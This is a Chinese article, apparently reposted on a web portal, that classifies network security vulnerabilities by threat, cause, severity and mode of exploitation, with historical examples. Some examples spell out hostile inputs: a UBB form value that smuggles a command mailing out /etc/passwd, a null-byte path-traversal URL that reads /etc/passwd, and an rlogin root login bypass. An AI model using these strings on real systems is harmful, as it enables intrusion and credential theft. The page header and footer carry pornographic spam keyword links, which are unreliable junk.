麻豆小视频在线观看_中文黄色一级片_久久久成人精品_成片免费观看视频大全_午夜精品久久久久久久99热浪潮_成人一区二区三区四区

首頁 > 學院 > 安全知識 > 正文

計算機網絡系統安全漏洞分類研究

2020-10-30 18:16:22
字體:
來源:轉載
供稿:網友

寫本文的目地是為了總結一些東西,解決在試圖構造一個漏洞數據庫的過程中碰到的主要問題,也就是如何對計算機網絡漏洞進行分類的問題。文中的一些想法并不成熟,有些甚至連自己也不滿意,權作拋磚引玉,以期與在這方面有深入研究的同仁交流,共同提高完善。
一個計算機網絡安全漏洞有它多方面的屬性,我認為主要可以用以下幾個方面來概括:漏洞可能造成的直接威脅,漏洞的成因,漏洞的嚴重性,漏洞被利用的方式。以下的討論將回繞這幾個方面對漏洞細分其類。
A.按漏洞可能對系統造成的直接威脅
可以大致分成以下幾類,事實上一個系統漏洞對安全造成的威脅遠不限于它的直接可能性,如果攻擊者獲得了對系統的一般用戶訪問權限,他就極有可能再通過利用本地漏洞把自己升級為管理員權限:
一.遠程管理員權限
攻擊者無須一個賬號登錄到本地直接獲得遠程系統的管理員權限,通常通過攻擊以root身份執行的有缺陷的系統守護進程來完成。漏洞的絕大部分來源于緩沖區溢出,少部分來自守護進程本身的邏輯缺陷。
典型漏洞:
IMAP4rev1 v10.190版的守護進程imapd的AUTHENTICATE命令存在讀入參數時未做長度檢查,構造一個精心設計的AUTH命令串,可以溢出imapd的緩沖區,執行指定的命令,由于imapd以root身份運行,從而直接獲得機器的root權限。
WindowsNT IIS 4.0的ISAPI DLL對輸入的URL未做適當的邊界檢查,如果構造一個超長的URL,可以溢出IIS (inetinfo.exe)的緩沖區,執行我們指定的代碼。由于inetinfo.exe是以local system身份啟動,溢出后可以直接得到管理員權限。
早期AIX 3.2 rlogind代碼存在認證邏輯缺陷,用rlogin victim.com -l -froot,可以直接以root身份登錄到系統而無須提供口令。
二.本地管理員權限
攻擊者在已有一個本地賬號能夠登錄到系統的情況下,通過攻擊本地某些有缺陷的suid程序,競爭條件等手段,得到系統的管理員權限。
典型漏洞:
RedHat Linux的restore是個suid程序,它的執行依靠一個中RSH的環境變量,通過設置環境變量PATH,可以使RSH變量中的可執行程序以root身份運行,從而獲得系統的root權限。
Solaris 7的Xsun程序有suid位,它對輸入參數未做有效的邊界檢查,可以很容易地溢出它的緩沖區,以root身份運行我們指定的代碼,從而獲得管理員權限。
在windows2000下,攻擊者就有機會讓網絡DDE(一種在不同的Windows機器上的應用程序之間動態共享數據的技術)代理在本地系統用戶的安全上下文中執行其指定的代碼,從而提升權限并完全控制本地機器。
三.普通用戶訪問權限
攻擊者利用服務器的漏洞,取得系統的普通用戶存取權限,對UNIX類系統通常是shell訪問權限,對Windows系統通常是cmd.exe的訪問權限,能夠以一般用戶的身份執行程序,存取文件。攻擊者通常攻擊以非root身份運行的守護進程,有缺陷的cgi程序等手段獲得這種訪問權限。
典型漏洞:
UBB是個廣泛運行于各種UNIX和Windows系統的論壇程序,用PERL實現,它的5.19以下版本存在輸入驗證問題,通過提交精心構造的表單內容,可以使UBB去執行shell命令,因為一般的web服務器以nobody身份運行,因此可以得到一個nobody shell。比如提交這樣的數據:topic='012345.ubb|mail [email protected] </etc/passwd|',我們就可以得到系統的passwd文件。
RedHat Linux 6.2帶的innd 2.2.2.3版新聞服務器,存在緩沖區溢出漏洞,通過一個精心構造的新聞信件可以使innd服務器以news身份運行我們指定的代碼,得到一個innd權限的shell。
Windows IIS 4.0-5.0存在Unicode解碼漏洞,可以使攻擊者利用cmd.exe以guest組的權限在系統上運行程序。相當于取得了普通用戶的權限。
四.權限提升
攻擊者在本地通過攻擊某些有缺陷的sgid程序,把自己的權限提升到某個非root用戶的水平。獲得管理員權限可以看做是一種特殊的權限提升,只是因為威脅的大小不同而把它獨立出來。
典型漏洞:
RedHat Linux 6.1帶的man程序為sgid man,它存在format bug,通過對它的溢出攻擊,可以使攻擊者得到man組的用戶權限。
Solaris 7的write程序為sgid tty,它存在緩沖區溢出問題,通過對它的攻擊可以攻擊者得到tty組的用戶權限。
WindowsNT系統中,攻擊者能夠使系統中其他用戶裝入一個”特洛化”的porfile,使其他用戶執行攻擊者的惡意代碼,有時甚至是管理員。
五.讀取受限文件
攻擊者通過利用某些漏洞,讀取系統中他應該沒有權限的文件,這些文件通常是安全相關的。這些漏洞的存在可能是文件設置權限不正確,或者是特權進程對文件的不正確處理和意外dump core使受限文件的一部份dump到了core文件中。
典型漏洞:
SunOS 5.5的ftpd存在漏洞,一般用戶可以引起ftpd出錯而dump出一個全局可讀的core文件,里面有shadow文件的片斷,從而使一般用戶能讀到shadow的部分內容。
SuSE 6.2的suid程序pg,對它的配置文件處理存在問題,當把pb.conf鏈接到特權文件,可以用pb讀取那些文件的內容。
Oracle 8.0.3 Enterprise Edition for NT 4.0的日志文件全局可讀而且為明文,它記錄了連接的口令,很可能被攻擊者讀到。
六.遠程拒絕服務
攻擊者利用這類漏洞,無須登錄即可對系統發起拒絕服務攻擊,使系統或相關的應用程序崩潰或失去響應能力。這類漏洞通常是系統本身或其守護進程有缺陷或設置不正確造成的。
早期的Linux 和 BSD的tcp/ip堆棧的ip 片斷重組模塊存在缺陷,攻擊通過向系統發出特殊的ip片斷包可以使機器崩潰。
Windows2000帶的Netmeeting 3.01存在缺陷,通過向它發送二進制數據流,可以使服務器的CPU占用達到100%。
通過發送一個帶有超長參數的USER命令給AnalogX Proxy Server 4.04的ftp端口,可以使這個應用程序崩潰。
七.本地拒絕服務
在攻擊者登錄到系統后,利用這類漏洞,可以使系統本身或應用程序崩潰。這種漏洞主要因為是程序對意外情況的處理失誤,如寫臨時文件之前不檢查文件是否存在,盲目跟隨鏈接等。
BSDi 3.x存在漏洞可以使一個本地用戶用一些垃圾覆蓋系統上的任何,這樣會很容易地把系統搞成不可用。
RedHat 6.1的tmpwatch程序存在缺陷,可以使系統fork()出許多進程,從而使系統失去響應能力。
八.遠程非授權文件存取
利用這類漏洞,攻擊可以不經授權地從遠程存取系統的某些文件。這類漏洞主要是由一些有缺陷的cgi程序引起的,它們對用戶輸入沒有做適當的合法性檢查,使攻擊者通過構造特別的輸入獲得對文件存取。
典型漏洞:
Poll_It_SSI_v2.0.cgi存在漏洞可以使攻擊者看到web目錄外的所有有權限看的文件,發送如下的請求給服務器就能看到/etc/passwd文件,http://www.targethost.com/pollit/Poll_It_v2.0.cgi?data_dir=/etc/passwd%00
Windows IIS 5.0存在一個漏洞,通過向它發送一個特殊的head標記,可以得到asp源碼,而不是經過解釋執行后asp頁面。
Windows IE存在諸多漏洞允許惡意的web頁面讀取瀏覽用戶的本地的文件。
九.口令恢復
因為采用了很弱的口令加密方式,使攻擊者可以很容易的分析出口令的加密方法,從而使攻擊者通過某種方法得到密碼后還原出明文來。
典型漏洞:
Windows下的PassWD v1.2用來管理系統中的各種口令,并和URL一起儲存起來。但它加密儲存的口令加密方式非常脆弱,經過簡單的分析,就可以從加密后的口令還原出明文。
Pcanywhere 9.0采用非常脆弱的加密方法來加密傳輸中的口令,只要竅聽了傳輸中的數據很容易解碼出明文口令。
Browsegate是一個Windows下的代理防火墻,它的2.80.2版本,在配置文件中儲存了加密后的口令而且配置文件對所有用戶是可讀的,然而加密方式極其脆弱,可以很容易地解碼出明文。
十.欺騙
利用這類漏洞,攻擊者可以對目標系統實施某種形式的欺騙。這通常是由于系統的實現上存在某些缺陷。
典型漏洞
Windows IE曾經存在一個漏洞允許一個惡意網絡在另一個風站的窗口內插入內容,從而欺騙用戶輸入敏感數據。
Linux kernel 2.0.35以下的tcp/ip堆棧存在漏洞,可以使攻擊者進行ip地址欺騙非常容易實現。
十一.服務器信息泄露
利用這類漏洞,攻擊者可以收集到對于進一步攻擊系統有用的信息。這類漏洞的產生主要是因為系統程序有缺陷,一般是對錯誤的不正確處理。
典型漏洞:
Windows IIS 3.0-5.0存在漏洞,當向系統請求不存在的.idq,.idq文件時,機器可能會返回出錯信息,里面暴露了IIS的安裝目錄信息,比如請求http://www.microsoft.com/anything.ida,服務器會返回Response: The IDQ file d:/http/anything.ida could not be found。這些對攻擊者進行攻擊可能帶來方便,比如廣泛流行的msadc的攻擊,需要知道系統的安裝目錄。
Linux kernel 2.1.53以下的tcp/ip堆棧開放和關閉的端口對特定的數據包有特定的回應,攻擊者可以利用這個特性進行端口的秘密掃描。
某些cgi程序如DBMan (db.cgi)存在漏洞可以使攻擊者看到一些系統的環境變量,使攻擊者獲得關于系統一些有用的信息。
十二.其它
雖然以上的幾種分類包括了絕大多數的漏洞情況,可還是有可能存在一些上面幾種類型無法描述的的漏洞,把它們歸到這里。
B.按漏洞的成因
對其分類,是對漏洞進行分類最另人頭疼的一個方面,因為對漏洞研究的不同抽象層次,會對同一個漏洞做出不同的分類,對下面提到的ps競爭條件漏洞,從最低層次上來說是參數驗證錯誤,因為相繼的系統調用并沒有檢查他們所處理的是否為同一個對象,從高一些的層次看,這是一個同步或競爭條件錯誤,從更高的層次看,這則是一個邏輯錯誤,因為對象可能在使用過程中被刪除。至今也沒看到一個比較完美分類方案,包括securityfocus上的分類也不能讓人滿意,現大致分成以下幾類:
輸入驗證錯誤
大多數的緩沖區溢出漏洞和cgi類漏洞都是由于未對用戶提供的輸入數據的合法性作適當的檢查。
訪問驗證錯誤
漏洞的產生是由于程序的訪問驗證部分存在某些可利用的邏輯錯誤,使繞過這種訪問控制成為可能。上面提到的那個早期AIX的rlogin漏洞就是這種典型。
競爭條件
漏洞的產生在于程序處理文件等實體時在時序和同步方面存在問題,這處理的過程中可能存在一個機會窗口使攻擊者能夠施以外來的影響。早期的Solaris系統的ps命令存在這種類型的漏洞,ps在執行的時候會在/tmp產生一個基于它pid的臨時文件,然后把它chown為root,改名為ps_data。如果在ps運行時能夠創建這個臨時文件指向我們有興趣的文件,這樣ps執行以后,我們就可以對這個root擁有文件做任意的修改,這可以幫助我們獲得root權限。
意外情況處置錯誤
漏洞的產生在于程序在它的實現邏輯中沒有考慮到一些意外情況,而這些意外情況是應該被考慮到的。大多數的/tmp目錄中的盲目跟隨符號鏈接覆蓋文件的漏洞屬于這種類型。例子:Sco UNIX openserver的/etc/sysadm.d/bin/userOsa存在盲目覆蓋調試日志文件的問題,而文件的名字是固定的,通過把文件名指向某些特權文件,可以完全破壞系統。
設計錯誤
這個類別是非常籠統的,嚴格來說,大多數的漏洞的存在都是設計錯誤,因此所有暫時無法放入到其他類別的漏洞,先放在這。
配置錯誤
漏洞的產生在于系統和應用的配置有誤,或是軟件安裝在錯誤的地方,或是錯誤的配置參數,或是錯誤的訪問權限,策略錯誤。
環境錯誤
由一些環境變量的錯誤或惡意設置造成的漏洞。如攻擊者可能通過重置shell的內部分界符IFS,shell的轉義字符,或其它環境變量,導致有問題的特權程序去執行攻擊者指定的程序。上面提到的RedHat Linux的dump程序漏洞就是這種類型。
在漏洞的威脅類型和產生漏洞的錯誤類型之間存在一定的聯系,有直接聯系的威脅類型與錯誤類型用直線相連,可以看到如下的圖示:
遠程管理員權限        
                    輸入驗證錯誤
本地管理員權限
                     訪問驗證錯誤
普通用戶訪問權限
                    競爭條件
權限提升                    意外情況處置錯誤
讀取受限文件                  
遠程拒絕服務                   設計錯誤
本地拒絕服務                     
遠程非授權文件存取
                   配置錯誤
口令恢復                        
欺騙                    環境錯誤
服務器信息泄露                  
可以看到輸入驗證錯誤幾乎與所有的漏洞威脅有關,設計錯誤與錯誤的配置也會導致很多威脅。
  C.對漏洞嚴重性的分級
一般來說漏洞的威脅類型基本上決定了它的嚴重性,我們可以把嚴重性分成高,中,低三個級別。遠程和本地管理員權限大致對應為高,普通用戶權限,權限提升,讀取受限文件,遠程和本地拒絕服務大致對應中級,遠程非授權文件存取,口令恢復,欺騙,服務器信息泄露大致對應低級別。但這只是最一般的情況,很多時候需要具體情況具體分析,如一個涉及到針對流行系統本身的遠程拒絕服務漏洞,就應該是高級別。同樣一個被廣泛使用的軟件如果存在弱口令問題,有口令恢復漏洞,也應該歸為中高級別。
D.對漏洞被利用方式的分類
漏洞的存在是個客觀事實,但漏洞只能以一定的方式被利用,每個漏洞都要求攻擊處于網絡空間一個特定的位置,可能的攻擊方式分為以下四類:
物理接觸
攻擊者需要能夠物理地接觸目標系統才能利用這類漏洞,對系統的安全構成威脅。圖示:                            
       攻擊者             主機                               
主機模式
通常的漏洞利用方式。攻擊方為客戶機,被攻擊方為目標主機。比如攻擊者發現目標主機的某個守護進程存在一個遠程溢出漏洞,攻擊者可能因此取得主機的額外訪問權。
    圖示: 
                攻擊           攻擊機器         主機   
客戶機模式
當一個用戶訪問網絡上的一個主機,他就可能遭到主機發送給自己惡意命令的襲擊。客戶機不應該過度信任主機。如web瀏覽器IE存在不少漏洞,可以使一些惡意的網站用html標記通過那些漏洞在瀏覽的客戶機中執行程序或讀寫文件。
    圖示:
                 攻擊
          客戶機          主機         

中間人方式
當攻擊者位于一個可以觀察或截獲兩個機器之間的通信的位置時,就可以認為攻擊者處于中間人方式。因為很多時候主機之間以明文方式傳輸有價值的信息,因此攻擊者可以很容易地攻入其他機器。對于某些公鑰加密的實現,攻擊者可以截獲并取代密鑰偽裝成網絡上的兩個節點來繞過這種限制。
  圖示:
              通信
       主機             主機         
   
竅聽或篡改

              攻擊者     

本文對網絡安全漏洞作了粗淺地分類,這遠不是一個完美的方案,有興趣的歡迎來信交流心得。
一些我讀過的參考資料: http://www.securityfocus.com/external/http://seclab.cs.ucdavis.edu/projects/vulnerabilities/scriv/index.html http://www.securityfocus.com/external/http://seclab.cs.ucdavis.edu/projects/vulnerabilities/scriv/index.html http://www.securityfocus.com/external/http://seclab.cs.ucdavis.edu/projects/vulnerabilities/scriv/index.html
http://www.securityfocus.com/data/library/compvuln_draft.pdf
當然還有:
http://www.xfocus.org/html/query_exploit.html
你能在那找到文中所舉的所有漏洞例子

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 成年人福利视频 | 精品黑人一区二区三区国语馆 | 欧美巨乳在线观看 | 小视频免费在线观看 | 国产一级淫片在线观看 | 亚洲精品午夜在线 | 色婷婷久久久亚洲一区二区三区 | 午夜国内精品a一区二区桃色 | 久久精品视频在线看99 | av资源在线天堂 | 黄视频网站免费观看 | 亚洲精品久久久久www | 色人阁五月天 | 成人午夜毛片 | 成人三级视频网站 | 欧美一级黄色录像片 | 伊人午夜视频 | 深夜网站在线观看 | 黄色片在线观看网站 | 久久精品国产精品亚洲 | 九九热在线精品视频 | 欧美高清一级片 | 黑色丝袜美美女被躁视频 | 黄色大片大毛片 | 一级毛片在线观看免费 | 久久精品之| 欧美成年性h版影视中文字幕 | 男人午夜小视频 | 禁漫天堂久久久久久久久久 | 久久影院免费观看 | 国产色爱综合网 | 免费在线国产 | 91麻豆精品国产91久久久更新资源速度超快 | 国产乱淫av片免费 | 中文字幕一区2区 | 国产刺激高潮av | 福利在线小视频 | 中文字幕国产日韩 | 爽爽淫人综合网网站 | 黄色一级片免费在线观看 | 中文字幕在线一 |